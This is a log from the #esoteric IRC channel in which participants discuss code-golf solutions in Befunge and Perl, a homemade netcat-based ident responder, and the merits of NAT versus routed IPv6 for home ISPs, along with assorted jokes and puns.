20:27:49 <ais523> in that case, I just did bash in just over half the length of ehird's solution
20:27:56 <ais523> using the old Perl trick of writing a literal UNIX newline, rather than \n
20:28:22 <leonid> old, but not dead trick
20:28:33 <ais523> indeed
20:29:19 <ais523> hmm, I wonder if I can beat fizzie's Befunge-93?
20:30:06 * elliott just made an identd
20:30:09 <elliott> let's see if it works
20:30:19 <fizzie> Quite possibly, I don't even reuse any instructions multiple ways.
20:30:21 -!- elliott has quit (Quit: Leaving).
20:30:29 -!- elliott has joined.
20:30:33 <ais523> what does ~ do on EOF, again?
20:30:37 <elliott> forgot to forward the port
20:30:53 <elliott> I didn't know fizzie was the golfing sort.
20:31:11 <ais523> also, http://catseye.tc/projects/befunge93/doc/befunge93.html is down
20:31:15 <ais523> because it claims to be XHTML
20:31:24 <ais523> but is actually really old-fashioned html
20:31:31 <ais523> <hr><font size=+1>
20:31:37 <ais523> any idea how to get my browser to render it?
20:31:38 <elliott> indeed
20:31:44 <elliott> ais523: you can't
20:31:49 <elliott> because everyone's an idiot as far as xhtml goes
20:31:50 <Phantom_Hoover> Back.
20:31:53 <ais523> well, the MIME type is lying
20:32:00 <elliott> ais523: doesn't matter, postel's law is being violated
20:32:02 <ais523> can I tell my browser that it's lying, somehow?
20:32:31 <fizzie> ais523: On the reference impl, it returns -1.
20:32:37 <ais523> elliott: well, it's violated one way or another no matter what
20:32:42 <elliott> ais523: not really
20:32:46 <fizzie> ais523: And I read it using the Google cache copy.
20:32:57 -!- elliott has quit (Client Quit).
20:33:06 <ais523> I'm reading it in w3m
20:33:16 -!- elliott has joined.
20:33:17 <olsner> if I submit something on that golf thingy, can I resubmit when/if I come up with something shorter?
20:33:24 <elliott> * *** Checking Ident
20:33:27 <elliott> * *** Got Ident response
20:33:28 <elliott> * *** Couldn't look up your hostname
20:33:30 <elliott> * *** Your username is invalid. Please make sure that your username contains only alphanumeric characters.
20:33:33 <elliott> how odd
20:33:46 <elliott> oh
20:33:47 <fizzie> elliott: I'm not usually the golfing type, I just occasionally throw in some simple Befunge solutions.
20:33:47 <elliott> of course
20:33:57 <ais523> olsner: yep
20:34:04 <ais523> it'll only take your shortest solution
20:34:05 -!- elliott has quit (Client Quit).
20:34:12 <ais523> you can use a paren identifier of a longer solution is interesting somehow
20:34:17 -!- elliott has joined.
20:34:23 <ais523> e.g. olsner(not cheat), or olsner(alnum) if it's purely alphanumeric
20:34:25 <elliott> oho
20:34:27 <elliott> fancy!
20:34:35 <ais523> elliott: that's pretty pretty
20:34:36 <olsner> hmm, doesn't seem my solution is the shortest one anymore though
20:34:37 <ais523> why "ehird", btw?
20:34:43 <elliott> ais523: oh, it was just a test
20:34:43 <ais523> olsner: sohrtest with your name
20:34:46 <ais523> *shortest with your name
20:35:03 <elliott> ais523: I plan to start connecting via a bouncer on a server once I get one up and running, and construct my username so that my () part becomes my email
20:35:04 <elliott> i.e.
20:35:05 <olsner> yah, just that it's not so pointful if someone else has already done it better
20:35:10 <elliott> * elliott (elliott@blah.org) has joined #esoteric
20:35:33 <elliott> ais523: (alnum) you should probably turn on code stats
20:35:34 <elliott> for
20:35:42 <ais523> elliott: indeed
20:35:50 <ais523> I do alnum, or alpha, on occasion, mostly in Perl
20:35:53 <elliott> here's my authentic, organic, homemade ident.sh:
20:35:54 <elliott> #!/bin/sh
20:35:55 <elliott> read line
20:35:55 <elliott> echo "$line : USERID : UNIX : ehird"
20:36:04 <elliott> start like:
20:36:07 <elliott> sudo nc -l -p 113 -e ./ident.sh
20:36:12 <elliott> works for one usage
20:36:12 <elliott> :p
20:36:27 -!- cheater- has quit (Ping timeout: 240 seconds).
20:36:31 <elliott> i wrote it in awk first
20:36:32 <elliott> as
20:36:42 <elliott> /\d*, \d*. { print $0 ": USERID : UNIX : ehird" }
20:36:43 <elliott> { exit }
20:36:47 <elliott> but then realised that that was pointless
20:36:52 <ais523> wouldn't you want it to work for multiple usages?
20:37:01 <elliott> ais523: hook it up to inetd or whatever
20:37:01 <ais523> fizzie: done it in 18 chars of Unefunge-93
20:37:08 <elliott> you don't want it running when nobody wants to find out who you are
20:37:12 <elliott> so having it only handle one request is best
20:37:12 <fizzie> ais523: Mine is in Unefunge too.
20:37:18 <elliott> that also closes the connection for you
20:37:26 <ais523> that puzzle doesn't really need a second dimension
20:37:31 <elliott> Vorpal: did you ever write that client/server IRC client you were going to write?
20:37:37 -!- cheater- has joined.
20:39:25 <ais523> elliott: this UCAS site has the most ridiculous way to present an FAQ I've seen: http://www.ucas.ac.uk/students/ucas_tariff/faqs/
20:39:36 <ais523> basically, it's a list of questions, each of which is on its own page, together with the answer
20:39:44 <ais523> each question page has the whole list on it
20:39:57 <ais523> and also a link saying "back to list", which goes back to the original list page which also has the list on
20:39:59 <elliott> impressiv
20:39:59 <elliott> e
20:40:03 <elliott> *impressive
20:41:04 <ais523> I can't see any reason for that level of redundancy
20:41:17 <ais523> nor why they don't just put the whole list of questions together with their answers on one page, it's rather short
20:41:32 <elliott> ais523: maybe some CMS.
20:43:08 * pikhq really looks forward to the death of NAT.
20:43:31 <ais523> pikhq: do you think IPv4 running out will increase or decrease NAT?
20:44:35 <pikhq> ais523: The typical "map a network onto 1 public address" NAT does not exist in IPv6.
20:45:01 <ais523> pikhq: yes, but I fear instead of leading to IPv6, it'll lead to more and more heavily NATted IPv4
20:45:27 <pikhq> ais523: To NAT the growth of IPv4 would cost much, much more than IPv6.
20:45:43 <ais523> pikhq: yes, but that doesn't mean it's not going to happen
20:46:05 <pikhq> Not to mention nearly impossible to keep up for more than a couple of years.
20:46:32 <pikhq> And during those two years, there will be IPv6-only hosts going up.
20:46:45 <pikhq> Making IPv6 migration actually necessary *anyways*.
20:47:53 <Vorpal> <elliott> Vorpal: did you ever write that client/server IRC client you were going to write? <-- I applied your approach at programming, breadth first :P
20:48:00 <Vorpal> (so no)
20:48:01 <pikhq> And keep in mind, that in order to actually be capable of NATing growth by the time IPv4 is depleted, they would need to start now...
20:48:26 <elliott> Vorpal: i invented the most elegant possible irc client architecture, personally
20:48:29 <pikhq> And you'd need to kinda create hardware capable of doing so.
20:48:50 <pikhq> Cause dear *God* NAT is state-heavy.
20:49:32 <pikhq> And the demands placed on carrier grade NAT are only going to get worse.
20:51:16 <ais523> pikhq: is full-cone NAT better or worse wrt state?
20:52:09 <fizzie> ais523: Stripped one more byte of the Befunge (well, Unefunge) solution, it ties with Perl now. (Via the ludicrously low-tech method of stripping out the unnecessary newline. Which seems to make the reference bef-2.21 put a -1 in the file itself and complain about "Unsupported instruction 'ÿ' (0xffffffff) (maybe not Befunge-93?)", but of course that doesn't matter since it's just stderr.)
20:52:17 <elliott> Vorpal hasn't asked me what my architecture is, I wonder why
20:52:31 <pikhq> ais523: Much better regarding state, but *really* doesn't scale.
20:53:27 <ais523> fizzie: I didn't put a final newline on mine
20:53:54 <ais523> so you must have a better algo
20:54:10 <elliott> DAMMIT VORPAL YOU SUCK
20:54:30 <Vorpal> elliott, you usually think that, so what is the difference? I'm a bit preoccupied...
20:55:24 <elliott> Vorpal: well irc client architecture, is there anything more interesting?
20:56:03 <Ilari> And NAT will also emit logs like crazy if one is to log enough data to trace back connections...
20:56:14 <pikhq> But, yeah. The typical NAT setup involves actual stateful connection-tracking, and typically requires actual inspection of packets.
20:56:40 <pikhq> Rather than just taking a peek at the header and doing some simple address translation.
20:56:41 <Ilari> Also, CGN is wiki vandal / forum troll's best friend...
20:57:15 <pikhq> And there is no way you're going to offer Internet service that "just works" without this stateful NAT.
20:57:27 <Phantom_Hoover> Ilari, CGN?
20:57:34 <pikhq> Phantom_Hoover: Carrier grade NAT.
20:57:43 <elliott> Cognate Garbage Netmeister.
20:57:48 <pikhq> Phantom_Hoover: Where you place customers behind a NAT and give them a private address.
20:58:05 <Ilari> Not to mention, GCN breaks the heck out of stuff. Even stuff that "works through NAT".
20:58:14 <pikhq> Oh, and one of the really annoying bits is that behind *this* will probably be another NAT.
20:58:30 <pikhq> NATNATNAT breaks quite a lot.
20:58:49 <Phantom_Hoover> NAT?
20:58:56 <pikhq> "Network Address Translation".
20:59:08 <quintopia> IP-sharing basically
20:59:08 <pikhq> The magic sauce that consumer routers do to host a whole network on one public address.
20:59:22 <Vorpal> <pikhq> Rather than just taking a peek at the header and doing some simple address translation. <-- uh how could it work without being stateful?
20:59:31 <ais523> it basically uses the port number as another 16 bits in an IPv4 address
20:59:37 <ais523> and is rather insane, because that's not what the port number is designed for
20:59:41 <pikhq> Vorpal: Having statically defined mappings.
20:59:41 <quintopia> and stores the real ports elsewhere
20:59:59 <Vorpal> pikhq, but wouldn't that break connecting out if the port didn't happen to match?
21:00:03 <pikhq> Vorpal: Quite obviously, this doesn't work in the general case.
21:00:10 <Vorpal> right
21:00:20 <quintopia> or does it do IP+port->new IP+port? counting on the fact that people don't use that many ports?
21:00:21 <ais523> btw, is "zygoprehistomorphism" a real word, or just a parody of Haskell programmers?
21:00:29 <copumpkin> it's real
21:00:33 <copumpkin> but only vaguely
21:00:39 <olsner> *Zygohistomorphic prepromorphism
21:00:47 <pikhq> quintopia: It maps from private IP+port to public IP+port.
21:00:47 <elliott> YEAH NO ABBREVIATIONS
21:01:01 <elliott> http://www.haskell.org/haskellwiki/Zygohistomorphic_prepromorphisms
21:01:02 <copumpkin> edwardk recently simplified the definition of it
21:01:06 <elliott> Used when you really need both semi-mutual recursion and history and to repeatedly apply a natural transformation as you get deeper into the functor. Zygo implements semi-mutual recursion like a zygomorphism. Para gives you access to your result à la paramorphism.
21:01:07 <elliott> import Control.Morphism.Zygo
21:01:07 <elliott> import Control.Morphism.Prepro
21:01:07 <elliott> import Control.Morphism.Histo
21:01:07 <elliott> import Control.Functor.Algebra
21:01:09 <elliott> import Control.Functor.Extras
21:01:11 <elliott> zygohistomorphic_prepromorphism :: Functor f => Algebra f b -> GAlgebra f (Cofree f) a -> (f :~> f) -> FixF f -> a
21:01:12 <copumpkin> (he works right next to me)
21:01:13 <quintopia> pikhq: so it breaks if you set up a popular passive ftp behind it frex?
21:01:16 <elliott> zygohistomorphic_prepromorphism f = g_prepro (distZygoT (liftAlgebra f) (distHisto id))
21:01:18 <elliott> -- unless you want a generalized zygomorphism.
21:01:20 <elliott> do you understand now, ais523?
21:01:26 <copumpkin> there's a newer simpler definition
21:01:32 <pikhq> quintopia: It does so by keeping track of *every connection* going through it, so it knows what mapping to use...
21:01:34 <elliott> simpler than that?! but it's so obvious
21:01:37 <olsner> copumpkin: cool, is it understandable now?
21:01:38 <Phantom_Hoover> I just saw the word "zygomorphism".
21:01:42 <Phantom_Hoover> Is kfr being an idiot?
21:01:42 <pikhq> quintopia: It breaks any incoming connection, actually.
21:01:47 <Vorpal> elliott, that looks like bullshit to me...
21:01:55 <elliott> Vorpal: it's actually not
21:02:00 <Vorpal> elliott, oh?
21:02:00 <elliott> but it's not very useful :)
21:02:04 <Vorpal> elliott, ah
21:02:05 <elliott> it's a serious joke
21:02:08 <copumpkin> https://github.com/ekmett/recursion-schemes/blob/master/Data/Functor/Foldable.hs#L424
21:02:14 <pikhq> quintopia: The only way to incoming connections to work in general is to statically define a mapping.
21:02:17 <Ilari> Hmmph... One seemingly can't properly exclude stock photo sites in google image search.
21:02:19 <quintopia> pikhq: so it's impossible to set up a server behind a NAT and expect it to work?
21:02:25 <ais523> elliott: err, I was looking at a different tab for a moment, let me try to pares backlog
21:02:28 <copumpkin> the basic point is that you can compose recursion schemes
21:02:28 <pikhq> quintopia: Basically.
21:02:28 <ais523> *parse
21:02:32 <Vorpal> elliott, I don't get the joke but I can see it is there what with a statement like "Zygo implements semi-mutual recursion like a zygomorphism. Para gives you access to your result à la paramorphism."
21:02:44 <copumpkin> so someone came up with a ridciulously complex-sounding composition of simpler recursion schemes
21:02:51 <pikhq> quintopia: Amusingly, it's *possible* for normal FTP to work behind a NAT — though it usually doesn't.
21:03:10 <Ilari> I mean: Putting -site on some other type of site will seemingly exclude it rather nicely. But it just drops priority of stock photo sites somewhat...
21:03:12 <ais523> copumpkin: hmm, that makes a lot of sense
21:03:14 <Vorpal> copumpkin, hah
21:03:18 <pikhq> quintopia: You can just have FTP-specific state tracking so that the NAT device creates the appropriate mapping on demand.
21:03:41 <copumpkin> so while zygohistormorphic prepromorphism sounds scary
21:03:41 <fizzie> And you can do the same for IRC DCC stuff.
21:03:46 <pikhq> Quite obviously, this is even *more* ridiculous than usual.
21:03:49 <quintopia> pikhq: sounds annoying
21:04:02 <Vorpal> Ilari, that's strange
21:04:05 <elliott> not as ridiculous as ... ducks
21:04:09 <copumpkin> it's a bit like calling f . g . h . i by the name of fghi
21:04:10 <Vorpal> Ilari, maybe they pay google for that?
21:04:15 <ais523> fizzie: most home router NATs do special-case DCC, IIRC
21:04:18 <pikhq> So, yeah. It's a hack that breaks the whole *idea* of internetworking.
21:04:29 <fizzie> Some (many) NATs also use the full (external IP, external port, destination IP, destination port) quadruplets for choosing the correct (internal IP, internal port) pair, so they can reuse the same (external IP, external port) for many clients as long as they don't connect to the same target address.
21:04:34 <Ilari> IIRC, it worked earlier, but has now been broken for months...
21:04:36 <ais523> hmm, I wonder if you could use fake DCC connections in order to effectively open ports inbound?
21:05:05 <fizzie> ais523: Most of them also do UPnP which is designed for that, so...
21:05:10 <pikhq> ais523: Probably not necessary; many NAT devices nowadays support UPnP, letting you explicitly request an open port.
21:05:11 <ais523> ah
21:05:15 <quintopia> fizzie: and when they do connect to the same address? :P
21:05:18 <ais523> I don't know enough about home routing as I should
21:05:29 <fizzie> quintopia: Then you just don't reuse the port.
21:05:31 <ais523> I'd rather like to know how to open ports inbound
21:05:48 <ais523> so I can use a bit of quick webserving or whatever to send people files
21:05:49 <pikhq> If any (ANY) consumer ISPs offer /128s to customers I'm going to go ballistic, BTW.
21:06:05 <ais523> pikhq: as long as they make them work properly, why not?
21:06:18 <elliott> I want a /4096.
21:06:21 <pikhq> ais523: IPv6 NAT is undefined.
21:06:23 <Ilari> I think longest prefix I have heard is /64...
21:06:41 <elliott> how big's a /4096, like one thousandth of an address?
21:06:47 <pikhq> ais523: All this one-to-many mapping stuff *does not exist* for IPv6.
21:06:50 <Ilari> Note that many CPEs have problems with anything other than /64.
21:07:09 <ais523> hmm... suppose you want a setup where you have a wireless router in the house, and any number of computers can connect to it at once and use the Internet
21:07:19 <ais523> what size subnet should the house be given by the ISP? /64? /56?
21:07:20 <fizzie> Ilari: A SixXS predecessor used to use /126 subnets for their IPv6-in-IPv4 tunnel networks. (Then they routed a /64 or /48 over that.)
21:07:42 <Ilari> Ah, yeah, PtP links can also use /126 or /127.
21:07:44 <pikhq> ais523: /64 or /48.
21:07:53 <quintopia> pikhq: what's wrong with a /128 in the meantime and in between time when IPv6 is not well integrated yet?
21:08:11 <ais523> pikhq: and a /64 would work by giving each computer a different public address in the same /64?
21:08:12 <fizzie> pikhq: Isn't /56 the new /48 anyway?
21:08:23 <elliott> HOW BIG IS A /4096
21:08:29 <ais523> elliott: it's exponential
21:08:32 <pikhq> quintopia: A) that's enough address for a *single computer*. B) the last 64 bits are an interface identifier.
21:08:33 <ais523> so the word for how small it is doesn't exist
21:08:37 <elliott> EXPONENTIALLY BIG????
21:08:47 <ais523> it's a 2^-4032th of an address
21:08:50 <elliott> :D
21:08:53 <Phantom_Hoover> http://arxiv.org/PS_cache/arxiv/pdf/1003/1003.6087v1.pdf
21:09:03 <Phantom_Hoover> [[We originally wrote this article in Word, but then we converted it to Latex to make it look more like science.]]
21:09:07 <pikhq> ais523: Yes.
21:09:10 <fizzie> ais523: I think it's pretty likely that giving a /64 and setting it up so that all the computers are in the same Ethernet segment is going to be the most usual configuration. (But that's just a guess.)
21:09:19 <pikhq> ais523: AKA "how the Internet is intended to work."
21:09:21 <ais523> I like that configuration, I think
21:09:21 <Phantom_Hoover> That's going into the quotes.
21:09:55 <ais523> and the ISP would presumably set the router as the gateway for that prefix, with the computers connected to the router setting it as the gateway for everything?
21:10:04 <ais523> OK, this is beautifully sane
21:10:05 <Phantom_Hoover> `addquote We originally wrote this article in Word, but then we converted it to Latex to make it look more like science. — A. Gelman and G. Romero
21:10:19 <pikhq> ais523: This is how the Internet was supposed to work from day 1.
21:10:24 <HackEgo> 287) We originally wrote this article in Word, but then we converted it to Latex to make it look more like science. — A. Gelman and G. Romero
21:10:26 <HackEgo> Failed to record changes.
21:10:48 <fizzie> ais523: Actually usually I think the router is just set to bridging mode, and the ISP will send router advertisements advertising a single address inside the /64 (on their side of the link) as the default router. Then all the computers will use that.
21:11:00 <Phantom_Hoover> `quote 287
21:11:01 <HackEgo> No output.
21:11:07 <Phantom_Hoover> O.o
21:11:49 -!- s1sm0 has joined.
21:11:57 <elliott> Phantom_Hoover: try avoiding unicode
21:12:05 <elliott> `addquote <A. Gelman and G. Romero> We originally wrote this article in Word, but then we converted it to Latex to make it look more like science.
21:12:06 <HackEgo> 287) <A. Gelman and G. Romero> We originally wrote this article in Word, but then we converted it to Latex to make it look more like science.
21:12:10 <pikhq> None of this defective single-address-per-house bullshit.
21:12:18 <s1sm0> d
21:12:20 <ais523> fizzie: I take it the router's still responsible for routing the messages from the ISP back to the individual computers that own the addresses, though
21:12:50 <ais523> by gateway, I meant that all the ISP would know would be that (insert router address here) was the next hop, and not really care about what the final destination was
21:12:52 <fizzie> ais523: Not if it's configured in a purely bridging mode, like they are here. The ISP side will send Ethernet frames with the correct destination addresses directly.
21:12:56 <elliott> s1sm0: e
21:13:03 <ais523> fizzie: ah, I see
21:13:12 <ais523> but it's still sending them to the router
21:13:22 <ais523> just with an address other than the router's on the envelope
21:13:26 <ais523> so it knows to, you know, route it
21:13:31 <ais523> o
21:13:37 <fizzie> It's not "route" if it happens on the link layer level.
21:13:46 <fizzie> "Switch", maybe.
21:14:13 -!- s1sm0 has left (?).
21:14:20 <ais523> that was weird
21:14:25 <ais523> (wrt s1sm0)
21:14:49 <ais523> hmm, I wonder if IPv4 NATs are Turing-complete if you connect them round in a cycle, or something like that
21:14:57 <ais523> umm, bounded-storage, I mean
21:15:01 <ais523> obviously not TC
21:15:23 <fizzie> On the IP level, the "router" would be completely invisible. Though of course it would be perfectly possible for them to set it up that way that the physical router box on the customer's side has a single address from the /64, the computers use that as a router, and the router box is then configured to forward onwards to the ISP.
21:15:49 <pikhq> fizzie: Uh... I'm not sure that'd work on many ISP's setups.
21:16:09 <ais523> I was just wondering about whether the ISP would need to track each individual computer in the /64 in order to know how to route
21:16:27 <Ilari> Depends on setup. Some do, some don't.
21:16:56 <elliott> 16:10:02 <ehird> it would be perfect for implementing a bug-free, efficiently multithreaded real-time clock + infix calculator hybrid application
21:16:56 <elliott> 16:10:13 <soupdragon> woah
21:16:56 <elliott> 16:11:32 <ehird> i just broke soupdragon's BRAIN
21:16:56 <elliott> 16:12:05 <soupdragon> yeah that was like when the guy went through the worm hole and it turned out the planet of the apes was earth
21:16:57 <elliott> 16:12:31 <soupdragon> everything just turned upside down and inside out
21:16:58 <pikhq> fizzie: I know that typically, on cable Internet, the ISP side is essentially an Ethernet bus containing all the packets from the users in the region, with the modem acting as a switch.
21:16:59 <elliott> 16:12:49 <soupdragon> for an instant everything was one
21:17:09 <fizzie> ais523: They have to if the router is being a dumb bridge; but it might be our ISP is using that because they've been using a set-your-router-in-bridging-mode setup for IPv4 too.
21:17:36 <ais523> I suppose I think it's semantically neatest to consider a house like a mini-network
21:17:44 <ais523> with a router being the "next hop" just like another ISP would be
21:17:45 -!- Tritonio_GR has joined.
21:17:51 <ais523> and not worrying about the details of what happens inside there
21:18:03 <fizzie> pikhq: I don't know about any statistics, but I've seen a reasonable amount of setups that do something like PPPoE.
21:18:14 -!- Tritonio has quit (Ping timeout: 272 seconds).
21:18:15 <ais523> the difference would be, if someone decided to send a message to a nonexistent address inside a /64 which did exist, where would the packet be bounced?
21:18:45 <pikhq> fizzie: Near as I can tell, that setup is overly complicated *and* really stupid.
21:18:46 <fizzie> ais523: For the bridging setup, the ISP's side would push a neighbor-discovery packet over the link, and when that failed to return any results, discard the packet.
21:19:10 <elliott> hmm, so could you have lots of static IPs as a home user?
21:19:12 <ais523> hmm, so it has to hold onto the packet while it determines whether the address exists or not?
21:19:13 <elliott> well
21:19:17 <elliott> as static as your router's connection
21:19:29 <elliott> although i guess ipv6 is all static, all the time
21:19:31 <pikhq> It'd actually be pretty easy to do right. The router gets a point-to-point link and subnet. And it *fucking routes*.
21:19:40 <fizzie> ais523: Yes, there's usually a queue.
21:19:51 <ais523> that's... a little ridiculous
21:20:06 <fizzie> elliott: The /64 prefix might well be dynamic, if they want.
21:20:11 <elliott> right
21:20:12 <elliott> but could you have like
21:20:15 <elliott> 93429343 ips
21:20:16 <pikhq> fizzie: BTW, in this setup you don't have a router.
21:20:18 <elliott> to assign to things
21:20:26 <pikhq> fizzie: Your "router" doesn't route anything at all.
21:20:29 <fizzie> ais523: It's just what would happen if it were a IPv4 network, with the neighbor-discovery message replaced by an ARP packet.
21:20:33 <ais523> I take it the ISPs don't need to know about all the endpoints inside other ASes; just which prefixes they govern and which cables to send the relevant data down
21:20:36 <fizzie> pikhq: Yes, but those people keep calling it a "router".
21:20:41 <pikhq> fizzie: It's an Ethernet switch that happens to have EoPPPoE.
21:20:55 <ais523> I suppose I think that routing should work the same way at small scales as at large scales, really
21:20:58 <pikhq> ais523: Whole point of CIDR.
21:21:02 <ais523> indeed
21:21:11 <ais523> so why can't you CIDR into people's houses too?
21:21:18 <pikhq> ais523: You can and should.
21:21:34 <ais523> and yet the methods of doing things explained above apparently don't
21:21:35 <Ilari> To terminate link that carries anything larger than PtP link, you need a router.
21:21:47 <pikhq> fizzie: Your ISP is run by morons. Morons who use Ethernet over PPP over Ethernet.
21:22:00 <fizzie> ais523: I'm not defending the setup, I'm just saying that often it's done so that the ISP's side of the link is part of the same Ethernet segment as the customer's computers.
21:22:04 <elliott> cidridderidderydoo
21:22:13 <ais523> fizzie: ah
21:22:14 <pikhq> fizzie: This is literally the first time I've heard of anyone doing that.
21:22:17 <fizzie> pikhq: There's no PPP involved. It's Ethernet-over-ADSL.
21:22:27 <elliott> ADSL-over-Ethernet, paycheck please
21:22:30 <quintopia> elliott: where does mbzrxpgjys come from anyway?
21:22:32 <ais523> so, conclusion: there is an entirely sane way to set up IPv6 in the home, and fizzie's ISP doesn't use it?
21:22:40 <elliott> quintopia: google
21:22:43 <ais523> quintopia: it was a fake result in Google
21:22:51 <ais523> used to catch out people who were copying their search results
21:22:52 <quintopia> i only saw the first one as one of those
21:23:01 <quintopia> on their blog
21:23:02 <fizzie> ais523: It's not *extremely* insane to do it this way; it's the same way they have configured their IPv4 networks, after all.
21:23:06 <ais523> there was more than one
21:23:08 <elliott> internet says mbzrxpgjys too
21:23:15 <ais523> fizzie: it seems a little insane to do that for IPv4 too :)
21:23:18 <pikhq> fizzie: That's... Really really really stupid.
21:23:39 <pikhq> fizzie: Is your ISP a fan of Rube Goldberg?
21:24:04 <ais523> pikhq: do you have IPv6? and if so, how does your ISP do it?
21:24:10 <elliott> he's american
21:24:11 <elliott> so noo
21:24:12 <fizzie> pikhq: *All* ISPs I've seen have either used ADSL-in-bridging-mode, or PPPoE.
21:24:12 <elliott> *no
21:24:41 <ais523> <Testiclese> There are some languages that are used at my company, some that might be used, and those that nobody would ever consider, for various reasons. Erlang, LISP, Simula, Oberon, Smalltalk, Brainfuck, ABAP and D are all in that "ignore" camp, and I can't change that, no matter how cool and awesome they are.
21:24:49 <ais523> that's an interesting list
21:25:25 <ais523> fizzie: in that case, I suppose the question is: why don't ISPs do it the sane way?
21:26:38 -!- pikhq_ has joined.
21:26:48 <fizzie> ais523: Well, for starters if you do it the bridging way, you don't have to assign a single network to one home. If you do it the routing way (point-to-point link to the consumer router, and then a particular network routed over it) you do.
21:26:49 <pikhq_> fizzie: I have never heard of your crazy "have the end user's router on the OTHER SIDE of the POP" bullshit.
21:26:55 <pikhq_> ais523: I've got a tunnel.
21:26:57 <pikhq_> ais523: /64 to myself; could be switched to a /48 if I bothered.
21:27:03 <ais523> fizzie: so multiple homes could share the same /64?
21:27:09 <ais523> that's... nicely evil
21:27:18 <elliott> speltgoblin
21:27:22 <pikhq_> fizzie: That's braindead.
21:27:22 <fizzie> pikhq: "DSL implementations may create bridged or routed networks. In a bridged configuration, the group of subscriber computers effectively connect into a single subnet." (Wikipedia.)
21:27:33 <ais523> especially if you decided to change your MAC address to clash with your neighbours'
21:27:46 <elliott> <ais523> <Testiclese> There are some languages that are used at my company, some that might be used, and those that nobody would ever consider, for various reasons. Erlang, LISP, Simula, Oberon, Smalltalk, Brainfuck, ABAP and D are all in that "ignore" camp, and I can't change that, no matter how cool and awesome they are.
21:27:52 <elliott> what was the point of quoting that, apart from to rile me up
21:27:55 <pikhq_> ais523: I'd change my MAC address to clash with the ISP's router.
21:28:08 <ais523> elliott: it was the weird assortment of languages in the list
21:28:15 <ais523> I mean, Simula is really old, for instance
21:28:20 <ais523> and there's exactly one esolang there
21:28:26 <ais523> pikhq_: hahaha
21:28:30 <ais523> they might have thought of that, though
21:28:36 -!- pikhq has quit (Ping timeout: 250 seconds).
21:29:03 <ais523> hmm, wasn't there a case a while ago when it was discovered that all routers by a particular manufacturer had the same MAC address by default, or something silly like that?
21:29:33 <elliott> 06:30:12 <ais523> although one of the headlines in the paper a couple of days ago was so a pun so bad it physically hurt
21:29:33 <elliott> WHAT WAS IT
21:29:39 <pikhq_> fizzie: Your ISP is selling a defective product.
21:29:44 -!- pikhq_ has changed nick to pikhq.
21:29:56 <ais523> elliott: I said later on
21:30:04 <Ilari> AFAIK, sharing a /64 doesn't work all too well...
21:30:04 <ais523> and Vorpal completely misunderstood it
21:30:04 <pikhq> Granted, it's the same one they've been selling for years, but that's beside the point.
21:30:08 <fizzie> pikhq_: It's a "standard" configuration; every DSL modem I've ever seen has supported the bridged mode.
21:30:11 <elliott> 06:34:08 <ais523> oerjan: it was an article about a Cher impersonator
21:30:11 <elliott> 06:34:13 <ais523> called "Cher and Cher-alike"
21:30:12 <elliott> aaaaaaargh
21:30:17 <elliott> ais523: how surprising
21:30:19 <ais523> I did warn you
21:30:25 * ais523 /clears to stop the hurt
21:30:25 <pikhq> fizzie: The bridged mode is completely and utterly retarded for IPv6.
21:30:26 <elliott> ais523: no, he seems to have ignored it
21:30:37 <elliott> heh, is "stop the hurt" valid? if not, it should be
21:30:46 <ais523> ?
21:30:53 <elliott> * ais523 /clears to stop the hurt
21:31:01 <ais523> what do you mean by "valid"
21:31:11 <elliott> well
21:31:11 <elliott> kosher
21:31:32 <ais523> that makes even less sense
21:31:33 <fizzie> pikhq: It's a dual-stacked setup, I don't see a reasonable way to keep doing the "normal" bridged setup for IPv4 while doing something else for IPv6, without explicit IPv6 routing support on the customer's DSL modem, which none of them probably do.
21:31:34 <olsner> hmm, golfing wasn't as easy as I'd thought
21:31:35 <elliott> 06:36:11 <oerjan> ais523: well cher-alike = share-alike is what i thought, which is afaik license terminology
21:31:41 <elliott> oerjan misinterpreted it this time!
21:31:48 <elliott> ais523: nope, vorpal totally ignored it
21:32:00 <olsner> is stderr ignored?
21:32:02 <ais523> wait, how does oerjan manage a vorpal-like misunderstanding of a pun?
21:32:04 <elliott> olsner: yes
21:32:11 <elliott> ais523: by not being a native English speaker
21:32:16 <elliott> he didn't know of "share and share alike"
21:32:19 <pikhq> fizzie: How's about they actually implement it correctly, rather than having the ISP run the end user's router!
21:32:22 <ais523> olsner: stderr's reported, but ignored for purposes of determining if a submission is correct or not
21:32:26 <elliott> 06:38:48 <ais523> "sidewalk" is a US term, the UK equivalent is "pavement"
21:32:26 <elliott> 06:38:58 <ais523> annoyingly, "pavement" has a US meaning too, making it rather ambiguous
21:32:31 <elliott> heh, how appropriate to read this log today
21:32:39 <pikhq> fizzie: IPv6 point-to-point link. End user has a router on one end.
21:32:48 <pikhq> This ISN'T THAT FREAKING HARD!
21:33:06 <pikhq> The only problem is that no consumer routers support IPv6 right now.
21:33:06 <ais523> ouch, have I started a flame war by proxy?
21:33:13 <fizzie> And how is the point-to-point link autoconfigured?
21:33:18 <elliott> no, pikhq is just a 24/7 zealot :P
21:33:24 <ais523> pikhq: actually, one does (the one Apple makes, I forget the name)
21:33:31 <elliott> airport
21:33:41 <elliott> (yes, apple release routers called AirPort)
21:33:48 <elliott> ais523: is it bad if I want to become a wikipedia administrator just to delete the main page?
21:33:59 <ais523> elliott: but 24/7 is assigned to ARIN and the UK ministry of defense
21:34:02 <ais523> elliott: indeed
21:34:12 <elliott> ais523: guess i'm bad
21:34:17 <ais523> besides, you can't delete the main page any more
21:34:33 <elliott> :(
21:34:35 <ais523> so there wouldn't be any point
21:34:35 <elliott> i thought you could
21:34:37 <elliott> it just asked you not to
21:34:45 <ais523> nope, it's impossible
21:34:56 <elliott> ais523: can you delete all the templates it's made up of?
21:35:01 <fizzie> pikhq: Anyhow, I think for most IPv4 broadband in Finland you typically get five public IPv4 addresses directly via DHCP from the ISP. I'm not sure how that sort of thing would work in a routing setup. (How do people elsewhere even do "multiple computers behind one customer's link"? Private-IP NAT only?)
21:35:03 <pikhq> fizzie: Autoconfiguration? Dynamic addresses are the devil!
21:35:15 <ais523> as Tim Starling said the last time someone tricked an admin into deleting the main page by saying it was impossible, if you can get to the deletion confirm form at all, it's possible
21:35:21 <elliott> fizzie: 1 IP here...
21:35:24 <ais523> and yes, I suppose you could do that
21:35:25 <elliott> and yup, NAT
21:35:26 <ais523> but why?
21:35:26 <pikhq> fizzie: 1 IP here.
21:35:28 <elliott> this machine is 196.168.1.9
21:35:31 <fizzie> pikhq: Oh, so you suggest a return to the time where people entered IP network prefixes by hand into their workstations?
21:35:33 <elliott> ais523: ANARCHY
21:35:35 <elliott> ais523: AND CHAOS
